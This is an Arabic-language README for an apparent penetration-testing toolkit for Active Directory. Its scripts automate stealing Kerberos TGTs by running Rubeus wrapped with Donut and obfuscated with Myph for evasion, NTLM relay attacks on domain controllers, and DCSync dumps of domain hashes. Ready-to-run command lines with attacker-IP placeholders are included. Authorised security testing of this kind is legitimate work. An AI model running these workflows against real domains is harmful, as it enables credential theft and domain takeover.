
أداة آلية لاستغلال ما بعد الاختراق في Active Directory لاستخراج تذاكر Kerberos، وهجمات ترحيل NTLM، والحركة الجانبية عبر تكامل NetExec و Impacket و Donut.
يحتوي هذا المستودع على مجموعة من نصوص Python التنسيقية المصممة لتقييمات الأمان واختبارات الاختراق ضمن بيئات Active Directory. صُممت هذه الأدوات خصيصًا لسيناريوهات الاستغلال اللاحق حيث تم بالفعل الحصول على صلاحيات إدارية محلية على محطة عمل أو خادم مخترق، ويكون الهدف هو تنفيذ حركة جانبية أو تصعيد الامتيازات نحو نطاق Active Directory الأوسع.
من خلال أتمتة سير العمل التي تتضمن أدوات أمان شائعة مثل NetExec و Impacket و Donut و BloodyAD، تعمل هذه النصوص على تبسيط العمليات المعقدة متعددة الخطوات إلى عمليات قابلة للتكرار بأمر واحد.
تتطلب النصوص توفر الأدوات التالية مثبتة على النظام المضيف ومتاحة ضمن PATH الخاص بالنظام:
nxc)impacket-ntlmrelayx، impacket-secretsdump، impacket-ticketConverter)awk، base64لتحسين تنسيق إخراج وحدة التحكم، قم بتثبيت الحزم التالية:
pip install colorama rich
harpyTGT.py)تقوم هذه الأداة بأتمتة استخراج تذكرة منح التذاكر (TGT) من جلسة Windows مسجل الدخول وتحويلها إلى تنسيق ccache المتوافق مع Linux.
Rubeus.exe عبر Donut، ويطبق التبهم باستخدام Myph، وينفذ الملف الثنائي الناتج على المضيف الهدف إما باستخدام المهام المجدولة (schtask_as) أو mmcexec.التنفيذ القياسي (المستخدم الهدف لديه صلاحيات إدارية):
./harpyTGT.py -t <IP_الهدف> -u <مستخدم_المسؤول_المحلي> -p <كلمة_مرور_المسؤول_المحلي> -U <المستخدم_الهدف> -r </path/to/Rubeus.exe>
تنفيذ بديل (المستخدم الهدف يفتقر إلى صلاحيات إدارية):
./harpyTGT.py -t <IP_الهدف> -u <مستخدم_المسؤول_المحلي> -p <كلمة_مرور_المسؤول_المحلي> -U <المستخدم_الهدف> -r </path/to/Rubeus.exe> --no-target-admin --attacker-ip <IP_المهاجم>

harpyRelay.py)تقوم هذه الأداة بتنسيق هجمات ترحيل NTLM التي تستهدف سياسات توقيع SMB أو LDAP المهيأة بشكل خاطئ على وحدات التحكم بالنطاق لتحقيق تصعيد الامتيازات على مستوى النطاق أو تنفيذ تفريغ لقاعدة بيانات NTDS (DCSync).
ntlmrelayx، وتُحفز طلب مصادقة من العميل المخترق عبر NetExec، وتراقب الإخراج بحثًا عن استغلال ناجح، ثم تُفرغ تجزئات النطاق. تحتوي الأداة على إجراءات تنظيف تلقائية لتقليل الأثر على النطاق الهدف.سير LDAPS (قياسي):
./harpyRelay.py --target-host <IP_العميل> --local-user <المسؤول_المحلي> --local-pass <كلمة_مرور_المحلي> --domain-admin-user <مسؤول_النطاق> --attacker-ip <IP_المهاجم> --dc-ip <IP_وحدة_التحكم> --domain <DOMAIN.LOCAL>
سير LDAP (سير بديل عندما لا يتوفر LDAPS):
./harpyRelay.py --target-host <IP_العميل> --local-user <المسؤول_المحلي> --local-pass <كلمة_مرور_المحلي> --domain-admin-user <مسؤول_النطاق> --attacker-ip <IP_المهاجم> --dc-ip <IP_وحدة_التحكم> --domain <DOMAIN.LOCAL> --no-ldaps

stealTGTوحدة مخصصة لـ NetExec (nxc) مصممة لاستخراج تذكرة منح التذاكر (TGT) من مستخدم معين مسجل الدخول على الجهاز الهدف.
تتفاعل الوحدة عبر mmcexec كـ SYSTEM، وتقوم بأتمتة إنشاء حمولة مراوغة (تغليف Rubeus باستخدام Donut و Myph)، وتنفيذها في الذاكرة، والتقاط مخرجات التذكرة المشفرة بـ Base64، وتحويلها بشفافية إلى ملف .ccache جاهز للاستخدام في Linux.
تتحقق الوحدة تلقائيًا من توفر الأدوات التالية مثبتة ومتاحة في $PATH الخاص بك:
donutmyphimpacket-ticketConverterلتحميل الوحدة الخارجية إلى NetExec، انسخ البرنامج النصي stealTGT.py إلى دليل وحدات NetExec المحلي لديك:
cp stealTGT.py ~/.nxc/modules/
netexec smb <IP_الهدف> -u <مستخدم_المسؤول> -p <كلمة_مرور_المسؤول> --local-auth -M stealTGT -o USER=<المستخدم_الهدف> RUBEUS=/path/to/Rubeus.exe
خيارات الوحدة (-o):
USER: اسم المستخدم للجلسة المسجل دخولها حاليًا والتي ترغب في حصاد TGT منها (مثل jdoe).RUBEUS: المسار المحلي على جهاز المهاجم حيث يوجد الملف الثنائي الشرعي Rubeus.exe.

bloodyad أو netexec بمجرد انتهاء العمليات.إشعار هام: هذا المستودع مخصص بشكل صارم للتدقيق الأمني المأذون به، وأبحاث الثغرات، والأغراض التعليمية. يُحظر تمامًا تشغيل هذه الأدوات على البنية التحتية للإنتاج دون إذن كتابي صريح مسبق من مالكي النظام. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام أو الأضرار الجانبية أو العواقب القانونية الناتجة عن نشر هذا البرنامج.